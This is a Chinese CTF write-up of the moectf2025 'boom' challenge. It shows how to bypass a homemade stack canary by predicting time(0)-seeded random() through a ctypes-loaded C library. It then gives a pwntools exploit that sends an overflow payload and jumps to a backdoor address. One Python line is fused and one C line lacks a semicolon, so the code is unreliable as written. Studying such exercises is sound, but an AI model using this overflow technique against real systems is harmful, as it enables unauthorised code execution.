ctypes与伪随机——moectf2025_boom

L1rics 发布于 15 天前 44 次阅读


一道模仿canary保护的题目,关键在于使用time(0)种子在一秒内不变这个性质,构造和栈上相同的随机数,绕过检查

程序的init函数最开始使用了当前时间来生成随机数种子

程序的保护机制就是通过最开始init生成的一个随机数种子生成一个随机数放在栈上v5的位置,最后通过检查v5的值是否被篡改,从而来判断是否遭受了缓冲区栈溢出攻击

(因为我们输入的字符串初始位置比v5低,要覆盖返回地址肯定要覆盖v5)

那么我们只需要在启动程序的同时启动相同的time随机数生成种子就能拿到v5的值了

Exp

from pwn import *
import ctypes
context(os='linux',arch='amd64',log_level='info')
#p=remote('localhost',9000)
p=remote('192.168.211.1', 8106)
#p=process('./pwn')
#gdb.attach(p,'b *0x4013fb')
#pause()
#elf = ELF('./pwn')
lib = ctypes.CDLL('./1.so')
lib.randd.restype = ctypes.c_intlib.init()
u=lib.randd()
#log.debug(u)
p.sendlineafter(b'(y/n)',b'y')
bkd=0x40127b
payload=b'a'*(0x90-0x14)+p32(u)+b'a'*0x18+p64(bkd)
p.sendlineafter(b'Enter your message: ',payload)
p.interactive()
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <time.h>
void init(){
    srandom(time(0));
    return ;}
int randd()
{    
return random()
}

注意点

有关ctypes库的使用我目前没有深入了解,其中大部分都是有关利用伪随机生成种子的题目

此作者没有提供个人介绍。
最后更新于 2025-10-22